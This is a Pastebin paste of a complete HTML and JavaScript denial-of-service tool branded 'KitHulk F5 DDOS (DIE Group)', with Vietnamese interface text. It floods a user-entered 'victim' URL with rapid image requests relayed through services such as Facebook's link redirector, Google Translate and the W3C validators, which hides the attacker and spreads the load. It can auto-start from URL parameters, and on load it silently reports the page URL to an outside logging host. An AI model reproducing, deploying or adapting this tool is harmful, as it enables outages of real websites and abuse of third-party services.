Advertisement
TP2K1

F5DDos.html

Aug 5th, 2015
1,454
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.76 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <meta name="viewport" content="width=device-width, initial-scale=1">
  3. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
  4. <script type="text/javascript">
  5. function getParameterByName(name) {
  6. name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
  7. var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
  8. results = regex.exec(location.search);
  9. return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
  10. }
  11. $(document).ready(function(){
  12. $.ajax({
  13. type:'GET',
  14. url: 'http://hethongcloud.com/log_botf5.php',
  15. data:{'v':window.location.href}
  16. });
  17. document.title='KitHulk F5 DDOS (DIE Group)';
  18. $("#btn_init").click(function(){
  19. victim = $('#victim').val();
  20.  
  21. if(victim==''){
  22. alert('Chưa nhập victim!');
  23. $('#victim').focus();
  24. }
  25. else{
  26. url= $('select[name=type]').val()+victim;
  27. $('#div_content').empty();
  28. $('.div_report').empty();
  29. number = parseInt($('#number').val());
  30. for(i=0; i<number; i++){
  31. content ="";
  32. content+= "<div class='stt'>"+(i+1).toString()+".</div> URL / IP : <input id='targetURL" + i.toString() + "' style='width: 50%;' value='"+url+"'>";
  33. content+="Request : <input id='rps" + i.toString() + "' style='width: 5%;' value='99999999999999999999999999999999999999999999999999'>";
  34. content+="Message : <input id='message"+ i.toString() +"' style='width: 5%;' value='#f5ddos'>";
  35. content+="<button id='fireButton"+ i.toString() +"' class='BTN'>START</button><br>";
  36. $('#div_content').append(content);
  37.  
  38. //
  39. report="<div class='IFC'>";
  40. report+="<legend><font color='#000000'><b>Fire "+ (i+1) +"</b></font></legend><dl>";
  41. report+="<dt style='color: #000000;'>Sending :</dt>";
  42. report+="<dd id='requestedCtr"+ i.toString() +"'>0</dd>";
  43. report+="<dt style='color: blue;'>Obtaining :</dt>";
  44. report+="<dd id='succeededCtr"+ i.toString() +"' style='opacity: 0.5;'>0</dd>";
  45. report+="<dt style='color: blue;'>Failed :</dt>";
  46. report+="<dd id='failedCtr"+ i.toString() +"' style='opacity: 0.5;'>0</dd></dl></div>";
  47. $('.div_report').append(report);
  48.  
  49. attack(i);
  50. }
  51. }
  52. });
  53. $("#btn_attack").click(function(){
  54. $("button[id*='fireButton']").trigger('click');
  55. });
  56. var victim = getParameterByName('v');
  57. if(victim!=''){
  58. $('#victim').val(victim);
  59. if(getParameterByName('n')!=''){
  60. $('#number').val(getParameterByName('n'));
  61. }
  62. if(getParameterByName('t')!=''){
  63. t = parseInt(getParameterByName('t'));
  64. if(t>0){
  65. document.getElementById("type").selectedIndex= t-1;
  66. }
  67. }
  68. $("#btn_init").trigger('click');
  69. $("#btn_attack").trigger('click');
  70. }
  71. });
  72.  
  73. function attack(id) {
  74. var fireInterval;
  75. var isFiring = false;
  76. var requestedCtrNode = document.getElementById("requestedCtr"+id),
  77. succeededCtrNode = document.getElementById("succeededCtr"+id),
  78. failedCtrNode = document.getElementById("failedCtr"+id),
  79. targetURLNode = document.getElementById("targetURL"+id),
  80. fireButton = document.getElementById("fireButton"+id),
  81. messageNode = document.getElementById("message"+id),
  82. rpsNode = document.getElementById("rps"+id),
  83. timeoutNode = document.getElementById("timeout"+id);
  84. var targetURL = targetURLNode.value;
  85. targetURLNode.onchange = function () {
  86. targetURL = this.value;};
  87. var requestsHT = {};
  88. var requestedCtr = 0,
  89. succeededCtr = 0,
  90. failedCtr = 0;
  91. var makeHttpRequest = function () {
  92. if (requestedCtr > failedCtr + succeededCtr + 99999999999999999999999999999999999999999999999999) {
  93. return; };
  94. var rID =Number(new Date());
  95. var img = new Image();
  96. img.onerror = function () { onFail(rID); };img.onabort = function () { onFail(rID); };img.onload = function () { onSuccess(rID); };img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);requestsHT[rID] = img;
  97. onRequest(rID); };
  98. var onRequest = function (rID) {
  99. requestedCtr++;
  100. requestedCtrNode.innerHTML = requestedCtr; };
  101. var onComplete = function (rID) {
  102. delete requestsHT[rID]; };
  103. var onFail = function (rID) {succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID];};
  104. var onSuccess = function (rID) {succeededCtr++;
  105. succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID];
  106. };
  107. fireButton.onclick = function () {
  108. if (isFiring) {clearInterval(fireInterval);isFiring = false; this.innerHTML = "START";$("#btn_attack").text('Attack'); } else {isFiring = true; this.innerHTML = "STOP";$("#btn_attack").text('Stop');fireInterval = setInterval(makeHttpRequest, (99999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0));} };
  109. }
  110. </script>
  111. <style type="text/css">
  112. .stt{
  113. width: 60px;
  114. float: left;
  115. }
  116. .centerDiv{
  117. margin-left: auto;
  118. margin-right: auto;
  119. width: 70%;
  120. background-color: green;
  121. color: yellow;
  122. padding: 10px;
  123. border-radius: 5px;
  124. margin-bottom: 10px;
  125. }
  126. .div_report
  127. {
  128. margin-top: 10px;
  129. font-family:arial;
  130. color:#000;
  131. font-size:15px;
  132. width: 100%;
  133. height: 22%
  134. float:center;
  135. margin-left: auto;
  136. margin-right: auto;
  137. text-align:center;
  138. }
  139.  
  140. .IFC
  141. {
  142. font-family:arial;
  143. color: red;
  144. font-size:12px;
  145. width: 9%;
  146. float:left;
  147. margin-left: auto;
  148. margin-right: auto;
  149. text-align:center;
  150. }
  151. </style>
  152. <div style="">
  153. <div class="centerDiv">
  154. <center>
  155. <img style="width: 120px; border-radius:5px; box-shadow: 1px 1px 2px red" src="https://www.upsieutoc.com/images/2015/04/03/avatar_DG.jpg"/><br>
  156. <div style="margin-top: 5px;margin-bottom: 20px; font-weight: bold; text-shadow: 1px 1px 2px #fff;">..:: DIE Group KITHulk F5 DDos ::..</div>
  157. </center>
  158. Victim: <input id='victim'/>Số lượng: <input id='number' value='100'/>
  159. <select name="type" id="type">
  160. <option value="https://www.facebook.com/l.php?u=">1. Facebook</option>
  161. <option value="https://plus.google.com/share?url=">2. Plus google</option>
  162. <option value="https://drive.google.com/viewerng/viewer?url=">3. Drive google</option>
  163. <option value="http://validator.w3.org/feed/check.cgi?url=">4. Validator.W3</option>
  164. <option value="http://host-tracker.com/check_page/?furl=">5. Host Tracker</option>
  165. <option value="hhttp://jigsaw.w3.org/css-validator/validator?uri=">6. Jigsaw W3</option>
  166. <option value="http://www.google.com/translate?u=">7. Google Translate</option>
  167. <option value="http://anonymouse.org/cgi-bin/anon-www.cgi/">8. Anonymouse.org</option>
  168. <option value="http://www.onlinewebcheck.com/?url=">9. Onlinewebcheck.com</option>
  169. <option value="http://feedvalidator.org/check.cgi?url=">10. Feedvalidator.org</option>
  170. <option value="http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=">11. Online-translator.com</option>
  171. <option value="http://www.translate.ru/url/translation.aspx?direction=er&sourceURL=">12. Translate.ru</option>
  172. <option value="https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&url=">13. Images2-focus-opensocial</option>
  173. <option value="http://www.pagescoring.com/website-speed-test/?url=">14. Pagescoring.com</option>
  174. </select>
  175. <button type="button" id="btn_init">Khởi tạo</button>
  176. <button type="button" id="btn_attack">Attack</button>
  177. </div>
  178. <fieldset id="div_content" style="min-height: 200px; font-family:arial;color:000;font-size:15px;width: 90%;height: auto; border:1px solid orange; border-radius: 5px;margin-left: auto; margin-top: 5px; margin-right: auto;"></fieldset>
  179. </div>
  180. <div>
  181. <fieldset id="div_report" style="min-height: 200px; margin-top: 10px; font-family:arial; font-size:15px;width: 90%;margin-left: auto;margin-right: auto; border: 1px solid orange; border-radius: 5px;">
  182. <div class="div_report"></div></fieldset></div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement